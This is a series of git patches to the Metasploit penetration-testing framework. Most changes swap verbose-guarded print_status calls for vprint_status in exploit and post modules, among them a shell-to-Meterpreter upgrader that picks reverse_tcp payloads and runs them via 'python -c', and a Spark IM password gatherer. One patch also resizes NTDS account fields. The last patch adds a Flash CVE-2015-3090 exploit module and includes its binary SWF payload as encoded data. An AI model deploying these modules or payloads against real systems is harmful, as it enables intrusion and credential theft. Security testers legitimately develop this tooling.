c179a747f2..4c149c2559 100644 --- a/lib/msf/core/exploit/dhcp.rb +++ b/lib/msf/core/exploit/dhcp.rb @@ -36,14 +36,14 @@ module Exploit::DHCPServer def start_service(hash = {}, context = {}) @dhcp = Rex::Proto::DHCP::Server.new(hash, context) - print_status("Starting DHCP server") if datastore['VERBOSE'] + vprint_status("Starting DHCP server") @dhcp.start add_socket(@dhcp.sock) @dhcp end def stop_service - print_status("Stopping DHCP server") if datastore['VERBOSE'] + vprint_status("Stopping DHCP server") @dhcp.stop end diff --git a/lib/msf/core/exploit/tftp.rb b/lib/msf/core/exploit/tftp.rb index 18c07836c9..43aff8e33c 100644 --- a/lib/msf/core/exploit/tftp.rb +++ b/lib/msf/core/exploit/tftp.rb @@ -20,14 +20,14 @@ module Exploit::TFTPServer def start_service(tag, exe) @tftp = Rex::Proto::TFTP::Server.new @tftp.register_file(tag, exe) - print_status("Starting TFTP server to host \"#{tag}\" (#{exe.length} bytes)") if datastore['VERBOSE'] + vprint_status("Starting TFTP server to host \"#{tag}\" (#{exe.length} bytes)") @tftp.start add_socket(@tftp.sock) @tftp end def stop_service - print_status("Stopping TFTP server") if datastore['VERBOSE'] + vprint_status("Stopping TFTP server") @tftp.stop end diff --git a/modules/auxiliary/spoof/replay/pcap_replay.rb b/modules/auxiliary/spoof/replay/pcap_replay.rb index e762123863..c2a8526b1b 100644 --- a/modules/auxiliary/spoof/replay/pcap_replay.rb +++ b/modules/auxiliary/spoof/replay/pcap_replay.rb @@ -47,7 +47,7 @@ class Metasploit3 < Msf::Auxiliary open_pcap print_status("Sending file...") unless verbose while (loop > 0 or infinity) do - vprint_status("Sending file (loop : #{count = count + 1})") + vprint_status("Sending file (loop: #{count = count + 1})") inject_pcap(filename, file_filter, pkt_delay ) loop -= 1 unless infinity Kernel.select(nil, nil, nil, (delay * 1.0)/1000) if loop > 0 or infinity diff --git a/modules/exploits/multi/http/jboss_invoke_deploy.rb b/modules/exploits/multi/http/jboss_invoke_deploy.rb index 89f6fbabdb..27d59c4c20 100644 --- a/modules/exploits/multi/http/jboss_invoke_deploy.rb +++ b/modules/exploits/multi/http/jboss_invoke_deploy.rb @@ -102,7 +102,7 @@ class Metasploit4 < Msf::Exploit::Remote return Exploit::CheckCode::Appears if res.body =~ /SVNTag=JBoss_4_/ return Exploit::CheckCode::Appears if res.body =~ /SVNTag=JBoss_5_/ - if res.body =~ /ServletException/ # Simple check, if we caused an exception. + if res.body =~ /ServletException/ # Simple check, if we caused an exception. vprint_status('Target seems vulnerable, but the used JBoss version is not supported by this exploit') return Exploit::CheckCode::Appears end @@ -302,13 +302,13 @@ EOT elsif res.code < 200 || res.code >= 300 msg = "http request failed to #{uri} [#{res.code}]" elsif res.code == 200 - print_status("Successfully called '#{uri}'") if datastore['VERBOSE'] + vprint_status("Successfully called '#{uri}'") return res end if attempt < num_attempts - 1 msg << ', retrying in 5 seconds...' - print_status(msg) if datastore['VERBOSE'] + vprint_status(msg) select(nil, nil, nil, 5) else print_error(msg) diff --git a/modules/post/multi/manage/shell_to_meterpreter.rb b/modules/post/multi/manage/shell_to_meterpreter.rb index 401063598b..4874b403a3 100644 --- a/modules/post/multi/manage/shell_to_meterpreter.rb +++ b/modules/post/multi/manage/shell_to_meterpreter.rb @@ -78,15 +78,15 @@ class Metasploit3 < Msf::Post lplat = [Msf::Platform::Windows] larch = [ARCH_X86] psh_arch = 'x86' - print_status("Platform: Windows") if datastore['VERBOSE'] + vprint_status("Platform: Windows") when /osx/i platform = 'python' payload_name = 'python/meterpreter/reverse_tcp' - print_status("Platform: OS X") if datastore['VERBOSE'] + vprint_status("Platform: OS X") when /solaris/i platform = 'python' payload_name = 'python/meterpreter/reverse_tcp' - print_status("Platform: Solaris") if datastore['VERBOSE'] + vprint_status("Platform: Solaris") else # Find the best fit, be specific with uname to avoid matching hostname or something else target_info = cmd_exec('uname -mo') @@ -96,16 +96,16 @@ class Metasploit3 < Msf::Post payload_name = 'linux/x86/meterpreter/reverse_tcp' lplat = [Msf::Platform::Linux] larch = [ARCH_X86] - print_status("Platform: Linux") if datastore['VERBOSE'] + vprint_status("Platform: Linux") elsif cmd_exec('python -V') =~ /Python (2|3)\.(\d)/ # Generic fallback for OSX, Solaris, Linux/ARM platform = 'python' payload_name = 'python/meterpreter/reverse_tcp' - print_status("Platform: Python [fallback]") if datastore['VERBOSE'] + vprint_status("Platform: Python [fallback]") end end payload_name = datastore['PAYLOAD_OVERWRITE'] if datastore['PAYLOAD_OVERWRITE'] - print_status("Upgrade payload: #{payload_name}") if datastore['VERBOSE'] + vprint_status("Upgrade payload: #{payload_name}") if platform.blank? print_error("Shells on the the target platform, #{session.platform}, cannot be upgraded to Meterpreter at this time.") @@ -129,26 +129,26 @@ class Metasploit3 < Msf::Post case platform when 'win' if (have_powershell?) && (datastore['WIN_TRANSFER'] != 'VBS') - print_status("Transfer method: Powershell") if datastore['VERBOSE'] + vprint_status("Transfer method: Powershell") psh_opts = { :prepend_sleep => 1, :encode_inner_payload => true, :persist => false } cmd_exec(cmd_psh_payload(payload_data, psh_arch, psh_opts)) else print_error('Powershell is not installed on the target.') if datastore['WIN_TRANSFER'] == 'POWERSHELL' - print_status("Transfer method: VBS [fallback]") if datastore['VERBOSE'] + vprint_status("Transfer method: VBS [fallback]") exe = Msf::Util::EXE.to_executable(framework, larch, lplat, payload_data) aborted = transmit_payload(exe) end when 'python' - print_status("Transfer method: Python") if datastore['VERBOSE'] + vprint_status("Transfer method: Python") cmd_exec("python -c \"#{payload_data}\"") else - print_status("Transfer method: Bourne shell [fallback]") if datastore['VERBOSE'] + vprint_status("Transfer method: Bourne shell [fallback]") exe = Msf::Util::EXE.to_executable(framework, larch, lplat, payload_data) aborted = transmit_payload(exe) end if datastore['HANDLER'] - print_status("Cleaning up handler") if datastore['VERBOSE'] + vprint_status("Cleaning up handler") cleanup_handler(listener_job_id, aborted) end return nil @@ -188,7 +188,7 @@ class Metasploit3 < Msf::Post total_bytes = 0 cmds.each { |cmd| total_bytes += cmd.length } - print_status("Starting transfer...") if datastore['VERBOSE'] + vprint_status("Starting transfer...") begin # # Run the commands one at a time @@ -230,7 +230,7 @@ class Metasploit3 < Msf::Post framework.threads.spawn('ShellToMeterpreterUpgradeCleanup', false) { if !aborted timer = 0 - print_status("Waiting up to #{HANDLE_TIMEOUT} seconds for the session to come back") if datastore['VERBOSE'] + vprint_status("Waiting up to #{HANDLE_TIMEOUT} seconds for the session to come back") while !framework.jobs[listener_job_id].nil? && timer < HANDLE_TIMEOUT sleep(1) timer += 1 diff --git a/modules/post/windows/gather/credentials/spark_im.rb b/modules/post/windows/gather/credentials/spark_im.rb index b766c6c34e..c3461846d4 100644 --- a/modules/post/windows/gather/credentials/spark_im.rb +++ b/modules/post/windows/gather/credentials/spark_im.rb @@ -131,7 +131,7 @@ class Metasploit3 < Msf::Post end hash = pass.split("password").join.chomp - print_status("Spark password hash: #{hash}") if datastore['VERBOSE'] + vprint_status("Spark password hash: #{hash}") # call method to decrypt hash decrypt(hash) From 7f27fd0cf2c4ccbd9612e39a85c4fdcece4935ff Mon Sep 17 00:00:00 2001 From: Brent Cook Date: Thu, 4 Jun 2015 09:35:58 -0500 Subject: [PATCH 0444/1013] adjust for user name size changes --- lib/metasploit/framework/ntds/account.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/metasploit/framework/ntds/account.rb b/lib/metasploit/framework/ntds/account.rb index f5f5a6e2d9..d47a6507cc 100644 --- a/lib/metasploit/framework/ntds/account.rb +++ b/lib/metasploit/framework/ntds/account.rb @@ -6,7 +6,7 @@ module Metasploit class Account # Size of an NTDS Account Struct on the Wire - ACCOUNT_SIZE = 2908 + ACCOUNT_SIZE = 3016 # Size of a Date or Time Format String on the Wire DATE_TIME_STRING_SIZE = 30 # Size of the AccountDescription Field @@ -16,7 +16,7 @@ module Metasploit # Size of a Hash String HASH_SIZE = 33 # Size of the samAccountName field - NAME_SIZE = 20 + NAME_SIZE = 128 #@return [String] The AD Account Description attr_accessor :description From de1542e5898419a1ef135d0618ae9687a0ad8e02 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 18 Jun 2015 12:36:14 -0500 Subject: [PATCH 0445/1013] Add module for CVE-2015-3090 --- data/exploits/CVE-2015-3090/msf.swf | Bin 0 -> 21164 bytes external/source/exploits/CVE-2015-3090/Elf.as | 235 +++++++++++ .../source/exploits/CVE-2015-3090/Exploit.as | 102 +++++ .../CVE-2015-3090/ExploitByteArray.as | 85 ++++ .../exploits/CVE-2015-3090/ExploitVector.as | 74 ++++ .../exploits/CVE-2015-3090/Exploiter.as | 399 ++++++++++++++++++ .../source/exploits/CVE-2015-3090/Logger.as | 32 ++ external/source/exploits/CVE-2015-3090/PE.as | 72 ++++ .../source/exploits/CVE-2015-3090/exploit.pbj | Bin 0 -> 420 bytes .../adobe_flash_shader_job_overflow.rb | 150 +++++++ 10 files changed, 1149 insertions(+) create mode 100644 data/exploits/CVE-2015-3090/msf.swf create mode 100644 external/source/exploits/CVE-2015-3090/Elf.as create mode 100755 external/source/exploits/CVE-2015-3090/Exploit.as create mode 100644 external/source/exploits/CVE-2015-3090/ExploitByteArray.as create mode 100644 external/source/exploits/CVE-2015-3090/ExploitVector.as create mode 100644 external/source/exploits/CVE-2015-3090/Exploiter.as create mode 100644 external/source/exploits/CVE-2015-3090/Logger.as create mode 100644 external/source/exploits/CVE-2015-3090/PE.as create mode 100755 external/source/exploits/CVE-2015-3090/exploit.pbj create mode 100644 modules/exploits/multi/browser/adobe_flash_shader_job_overflow.rb diff --git a/data/exploits/CVE-2015-3090/msf.swf b/data/exploits/CVE-2015-3090/msf.swf new file mode 100644 index 0000000000000000000000000000000000000000..ec4c95a9d5d185f0e04176551bc98e32239c3d00 GIT binary patch literal 21164 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%0DCx z<#hmq0^vFBPgJrQJMjhK({T;SN*j)L;%)zvTGpGp!)hD?J8oF<&k%rz)k7{sn`Epm zt;SIfsqp@%&ywl&S5mH+@S_`4*nPi)S@geW80n)P1=B7D)c%vNxCWVS3Z!Hj5v0+@zxsO&K5d&}j7C2U zH9HPmYBuQ@?~LUl*;mW+DI~P_2}-BXI3sJH#)cAqN?^mmeYVMpO)W7v)3phB`EZgr zkgyHqkpzS)TDlu}V>-;c%cXn;xBiqOb_dh78=vTU0Bn}HMKZW^VC#EDsFuN+nVHfA zkF}i(Nk_P!7-W|y2E_}x8l9mm%k{H*r%qDqB-DLQ@bAW-RlXEibKjxhbO!?4dh<{DaL|L8jR|3)fvTkqF_%!HD_9 z48ieHySy7)i8i9?%;IoRtLdV=kqeqfF!O*js0x#5g0UHYcUfn)s_32OjECV-@M(G8 zF8B7zlca+AOj~J<+?&6V?{9Yh2R;SJY|6EGB&E;2%>rEnxo&G<;tE;ry`6$kUZ_Yv 